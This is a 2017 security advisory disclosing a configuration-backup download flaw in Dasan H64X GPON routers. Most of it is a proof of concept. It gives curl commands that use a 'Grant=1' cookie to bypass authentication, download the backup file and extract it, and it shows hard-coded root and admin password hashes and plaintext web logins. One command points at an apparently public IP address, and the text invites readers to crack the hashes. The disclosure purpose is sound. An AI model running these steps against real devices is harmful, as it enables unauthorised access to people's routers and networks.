Dasan Networks GPON ONT WiFi Router H64X Series System Config Download


Vendor: Dasan Networks
Product web page: https://www.dasannetworks.com | https://www.dasannetworks.eu
Affected version: Models: H640GR-02
                          H640GV-03
                          H640GW-02
                          H640RW-02
                          H645G
                Firmware: 3.02p2-1141
                          2.77p1-1125
                          2.77-1115
                          2.76-9999
                          2.76-1101
                          2.67-1070
                          2.45-1045

Versions 3.03x are not affected by this issue. 
The running.CFG/wifi.CFG backup files are now 7z password protected.


Summary: H64xx is comprised of one G-PON uplink port and four ports
of Gigabit Ethernet downlink supporting 10/100/1000Base-T (RJ45). It
helps service providers to extend their core optical network all the
way to their subscribers, eliminating bandwidth bottlenecks in the
last mile. H64xx is integrated device that provide the high quality
Internet, telephony service (VoIP) and IPTV or OTT content for home
or office. H64xx enable the subscribers to make a phone call whose
quality is equal to PSTN at competitive price, and enjoy the high
quality resolution live video and service such as VoD or High Speed
Internet.

Desc: The system backup configuration file 'running.CFG' and the wireless
backup configuration file 'wifi.CFG' can be downloaded by an attacker
from the root directory in certain circumstances. This will enable the
attacker to disclose sensitive information and help her in authentication
bypass, privilege escalation and/or full system access.

Tested on: Server: lighttpd/1.4.31
           Server: DasanNetwork Solution


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5424
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5424.php


19.05.2017

--


-------------------
#1 This PoC request is assuming that the admin or a user created a backup. This is done by first issuing a request
to: /cgi-bin/backuprecoversystembackup_action.cgi or /cgi-bin/backuprecoverwifibackup_action.cgi scripts that
instructs the web server to generate the running.CFG or wifi.CFG gziped files respectively.


curl https://192.168.0.1/running.CFG -# | gunzip > dasan_output.txt ; strings dasan_output.txt | grep -rn 'admin:'
######################################################################## 100.0%
(standard input):180:admin:$1$s8UHZ.Iz$B4fSbmqgPsm717yQsFNfD/:0:0:admin:/etc:/bin/sh
(standard input):1442:admin:admin123:2

bash-4.4$ curl https://192.168.0.1/running.CFG -# | gunzip > dasan_output.txt ; strings dasan_output.txt | grep -rn 'root:'
######################################################################## 100.0%
(standard input):181:root:$1$s8UHZ.Iz$B4fSbmqgPsm717yQsFNfD/:0:0:root:/etc:/bin/sh
(standard input):191:root:$1$s8UHZ.Iz$B4fSbmqgPsm717yQsFNfD/:14987:0:99999:7:::
bash-4.4$ 

Notice the same hard-coded shell credentials for admin and root user.
Left for the viewer to exercise 'cracking the perimeter'. ;]

-------------------
#2 This PoC request will do an authentication bypass using the Grant cookie to create the running.CFG file.
In this request we're using Grant=1 with the account 'user' which by default has the password: user. After that,
decompressing the file, navigating to 'etc' extracted directory and reading 'web_user' file which can then
escalate privileges by reading the admin password and loggin-in.


bash-4.4$ curl https://192.168.0.1/cgi-bin/backuprecoversystembackup_action.cgi --cookie "silverheader=0c; Grant=1; Language=english" -H "X-Requested-With: XMLHttpRequest" ; sleep 5
bash-4.4$ curl https://192.168.0.1/running.CFG -vv --cookie "silverheader=0c; Grant=1; Language=english" -O
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 192.168.0.1...
* TCP_NODELAY set
* Connected to 192.168.0.1 (192.168.0.1) port 80 (#0)
> GET /running.CFG HTTP/1.1
> Host: 192.168.0.1
> User-Agent: curl/7.51.0
> Accept: */*
> Cookie: silverheader=0c; Grant=1; Language=english
> 
< HTTP/1.1 200 OK
< Content-Type: application/octet-stream
< Accept-Ranges: bytes
< ETag: "2477069903"
< Last-Modified: Wed, 12 Jul 2017 19:14:18 GMT
< Content-Length: 10467
< Date: Thu, 13 Jul 2017 00:56:14 GMT
< Server: lighttpd/1.4.31
< 
{ [1208 bytes data]
 53 10467   53  5528    0     0   5974      0  0:00:01 --:--:--  0:00:01  5969* Curl_http_done: called premature == 0
100 10467  100 10467    0     0  11290      0 --:--:-- --:--:-- --:--:-- 11279
* Connection #0 to host 192.168.0.1 left intact
bash-4.4$ file running.CFG
running.CFG: gzip compressed data, last modified: Wed Jul 12 19:12:36 2017, max compression, from Unix
bash-4.4$ gunzip -v -d --suffix .CFG running.CFG ; tar -xf running ; cd etc ; cat web_user                  
running.CFG:     85.6% -- replaced with running
admin:admin123:2
user:user:1
bash-4.4$ 

Or just:

bash-4.4$ curl -O https://180.148.2.139/running.CFG
bash-4.4$ tar -zxf running.CFG
bash-4.4$ cd etc
bash-4.4$ ls
INPUT_FILTER.conf                    fire_wall.conf                       lan_static_ip.conf                   ntp.conf                             radvd_param.conf                     upnpigd.conf
INPUT_REMOTE_ACCESS.conf             fire_wall.sh                         lighttpd.conf                        other_security_status.sh             remote_mgmt.conf                     user_ipv6tables.conf
dasan_output.txt                     hostname                             localtime                            passwd                               routing_entry.conf                   user_wan_cfg.conf
dhcp_client_dns.sh                   inet_check_file                      mac_filter.conf                      port_forward.conf                    shadow                               wan_ppp_mode.conf
dhcp_client_dynamic_default_dns.conf ipupdate.conf                        mac_source_match.conf                port_forward.sh                      snmp                                 web-enable
dhcpv6d.conf                         ipv6_route.conf                      multi_language.conf                  port_forward_dnat.sh                 snmp_status.conf                     web_user
dhcpv6d_param.conf                   is_safe_nat_option                   nat_route.conf                       port_forward_gre.sh                  sys_login_max_num                    webrefreshtime.conf
dmz.conf                             lan_dhcp_model.sh                    net_rest.conf                        ppp                                  syslog.confx                         websesstime.conf
ds_mode_config                       lan_dhcp_server_static_ip.conf       ns_ftp.conf                          radvd.conf                           udhcpd.conf
bash-4.4$ cat web_user
admin:admin123:2
user:user:1
bash-4.4$ cat ./.config/ds_user_pw
admin
bash-4.4$ cat passwd
admin:$1$s8UHZ.Iz$B4fSbmqgPsm717yQsFNfD/:0:0:admin:/etc:/bin/sh
root:$1$s8UHZ.Iz$B4fSbmqgPsm717yQsFNfD/:0:0:root:/etc:/bin/sh